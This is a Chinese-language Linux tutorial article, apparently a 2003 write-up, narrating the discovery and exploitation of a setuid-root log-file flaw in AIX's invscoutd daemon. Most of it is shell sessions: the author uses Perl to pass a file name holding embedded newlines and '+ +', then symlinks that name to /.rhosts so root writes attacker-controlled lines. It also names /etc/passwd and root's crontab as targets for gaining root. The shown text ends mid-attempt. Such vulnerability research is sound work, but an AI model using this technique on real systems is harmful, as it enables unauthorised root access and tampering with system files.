歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
Linux教程網 >> Linux綜合 >> Linux資訊 >> 更多Linux >> 發現病毒?AIX捉蟲記之——invscoutd

發現病毒?AIX捉蟲記之——invscoutd

日期:2017/2/27 9:31:43   编辑:更多Linux
  平台信息:   -bash-2.05b$ oslevel   5.1.0.0   -bash-2.05b$ oslevel -r   5100-01     按八字排列今天應該考查invscoutd命令了   -bash-2.05b$ ls -l /usr/sbin/invscoutd   -r-sr-xr-x 1 root system 217868 Aug 03 2001 /usr/sbin/invscoutd     -bash-2.05b$man invscoutd   …………   The invscoutd command implements a permanent Inventory Scout server daemon on   one machine in a user's local network. The usual client is a Java applet running   in the user's Web browser, which was downloaded from a central Inventory Scout   CGI application.   …………     再來看看這個命令的長相:   -bash-2.05b$ invscoutd   invscoutd: Missing log file name.   Inventory Scout Daemon 2.0.2. @@@ CAT VERSION @@@   USAGE: invscoutd [options] logfile <-- 還寫日志文件的說。   logfile Append status and err msgs. '-' means write to stderr.   -o Overwrite preexisting log file instead of append. <-- 還可以覆蓋已有文件的說  -pN Change port number to N from default 808. <-- 默認監聽在808端口   -bN Change read buffer size to N from default 1024.   -dN Change max logic db file size to N from default 50000.   -tN Change timeout period to N seconds from default 30 seconds.   -vN Change verbosity level to N from default 18, <--支持交互級別,級別越高記錄信息應該越詳細   25=max 20=debug 18=calls 15=banner 10=errs 5=fatal 0=none.     依稀記得以前Unix上有不少漏洞和日志文件權限處理不正確有關,就先考查一下他的這個日志文件吧      -bash-2.05b$ ls -l /tmp/bb   ls: 0653-341 The file /tmp/bb does not exist.     -bash-2.05b$ invscoutd /tmp/bb   Inventory Scout Version 1.3.0.0   Logic Database Version 1.3.0.0   Start invscoutd 2.0.2:   p=808 u=0 v=18 t=30 d=50000 pid=17028   flog=/tmp/bb   -bash-2.05b$ ls -l /tmp/bb   -rw-r--r-- 1 root staff 270 May 03 03:54 /tmp/bb     哇噻~~,權限果然有問題!!日志文件是root所有的說!!     -bash-2.05b$ id   uid=203(cloud) gid=1(staff)     看來沒錯,是個漏洞,那我能利用這個漏洞做什麼呢??   想想……     至少可以把系統重要配置文件破壞掉吧,哈哈……     再想想對於不存在的重要文件如/.rhosts文件(其實暫時也就想到這麼一個文件),我們可以用這個漏洞創建這個文件,要是之前執行一次umask 000   創建的文件我們就有修改權限了 ^_^     這樣我們就可以任意改寫文件內容了,如:/.rhosts中加一行   + +     可惜r系列服務使用.rhosts時會對文件屬性進行檢查:   如果文件不屬於對應用戶,或文件權限 除所有者外其他用戶或同組用戶有寫權限均驗證失敗!     看來通過創建一個我們可寫的/.rhosts文件來獲得root權限是行不通了~~     我們覆蓋重要文件如/etc/passwd,並不能改變文件權限~~     回頭再一琢磨,我們不就是要想控制寫入文件的內容嗎?不能通過直接獲得文件寫權限自由寫內容,那就間接點,要是日志文件寫入內容我們可以控制那不也能通過修改/.rhosts,/etc/passwd,/var/spool/cron/crontabs/root 等文件把自己變為root了嗎?     趕緊來看看日志文件裡寫了什麼內容:   -bash-2.05b$ cat /tmp/bb   2003/05/03 03:54:37 G16716:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0   2003/05/03 03:54:37 G16716:invscoutd_2.0.2 Logic Database Version 1.3.0.0   2003/05/03 03:54:37 P17028:invscoutd_2.0.2 Start invscoutd 2.0.2:   p=808 u=0 v=18 t=30 d=50000 pid=17028   flog=/tmp/bb     裡面好像就flog=/tmp/bb和輸入有關。     再試試,看這個問題能不能重現.     -bash-2.05b$ invscoutd ./aa   Inventory Scout Version 1.3.0.0   Logic Database Version 1.3.0.0   Exit code 2, pid 536968056.     看來還得先殺掉老的進程才能再試。     -bash-2.05b$ ps -ef grep invs   cloud 15526 1 0 04:36:25 pts/0 0:00 invscoutd ./aa   cloud 16068 16836 1 04:37:50 pts/0 0:00 grep invs   -bash-2.05b$ kill -9 15526     看看剛才出錯記錄到log文件了沒?   -bash-2.05b$ ls -l ./aa   ls: 0653-341 The file ./aa does not exist.     沒有的說。       我再試試,我非要重現一次才放心.   -bash-2.05b$ invscoutd ./aa   Inventory Scout Version 1.3.0.0   Logic Database Version 1.3.0.0   Start invscoutd 2.0.2:   p=808 u=0 v=18 t=30 d=50000 pid=15526   flog=./aa     -bash-2.05b$ ls -l ./aa   ls: 0653-341 The file ./aa does not exist.   咦,為什麼沒有記進來?難道文件名還必須以/打頭?,先不管了,就寫到/tmp下吧,再試試。     這次學乖了,先殺掉進程。   -bash-2.05b$ ps -ef grep invsc   cloud 14194 15338 3 03:55:29 pts/0 0:00 grep invsc   cloud 17028 1 0 03:54:37 pts/0 0:00 invscoutd ./aa   -bash-2.05b$ kill -9 17028     …………     經測試,果然能重現,放心了~~     想了想,要通過改寫.rhosts ,passwd,crotable突破系統權限取得root特權,都必須要能完整的控制一行寫入文件的內容,日志中能控制的是:flog=輸入文件名部分,那面文件名中帶換行符就可以控制一行的內容了,如:aaaa\n完整的一行\naaaa這種形似的文件名。     但命令行上一時想不起來如何輸入\n字符並把它作為命令行的一個參數,剛好以前學的perl派上了用場 ^_*用perl來執行一個系統命令invscoutd "/tmp/bbbbb\n+ +\nddd",看看能不能產生一個單獨的一行記錄內容+ +     -bash-2.05b$ perl -e 'system invscoutd,"/tmp/bbbbb\n+ +\nddd";'   Inventory Scout Version 1.3.0.0   Logic Database Version 1.3.0.0   Start invscoutd 2.0.2:   p=808 u=0 v=18 t=30 d=50000 pid=16282   flog=/tmp/bbbbb   + +   ddd   -bash-2.05b$ cat /tmp/bbbbb*   2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0   2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Logic Database Version 1.3.0.0   2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Bind error, port 808: The socket name is already in use..   2003/05/03 03:59:09 G14204:invscoutd_2.0.2 Exit code 2, pid 536968072.   2003/05/03 03:59:27 G14934:invscoutd_2.0.2 Inventory Scout Version 1.3.0.0   2003/05/03 03:59:27 G14934:invscoutd_2.0.2 Logic Database Version 1.3.0.0   2003/05/03 03:59:27 P16282:invscoutd_2.0.2 Start invscoutd 2.0.2:   p=808 u=0 v=18 t=30 d=50000 pid=16282   flog=/tmp/bbbbb   + +   ddd     嘿嘿,可以的說!!     -bash-2.05b$ ls -l /tmp/bbbbb*   -rw-r--r-- 1 root staff 602 May 03 03:59 /tmp/bbbbb   + +   ddd     那我們如何寫"\n+ +\n"內容到/.rhosts呢?       想想……     再想想……     呵呵,我想到了,你想到了嗎?     再給你5分鐘,好好想想~~     如果直接執行invscoutd /.rhosts   肯定不行,裡面不會有我們期望的   + +   行。     如果我們執行perl -e 'system invscoutd,"/tmp/bbbbb\n+ +\nddd";'   向log文件寫入   + +   成功,     但寫入的文件是"/tmp/bbbbb\n+ +\nddd",而我們現在期望是寫到/.rhosts文件,再想想…………     歸納一下,問題核心是想把A文件名寫入B文件中,Unix下的符號鏈接好像就是這個橋梁耶~     我們建立一個A -> B的符號連接不就行了!   ln -s B A   然後   invscoutd A   應該就成了。     開始行動:     -bash-2.05b$ ls -l /.rhosts   ls: 0653-341 The file /.rhosts does not exist.     建立A -> B的符號鏈接:   -bash-2.05b$ perl -e 'symlink "/.rhosts","/tmp/cc\n+ +\ndd";'   這裡B是"/.rhosts"   A是"/tmp/cc\n+ +\ndd"     -bash-2.05b$ ls -l /tmp/cc*   lrwxrwxrwx 1 cloud staff 8 May 03 04:02 /tmp/cc   + +   dd -> /.rhosts     來,執行之     -bash-2.05b$ perl -e 'system invscoutd,"/tmp/cc\n+ +\ndd";'   Inventory Scout Version 1.3.0.0   Logic Database Version 1.3.0.0   Exit code 2, pid 536968072.   -bash-




Copyright © Linux教程網 All Rights Reserved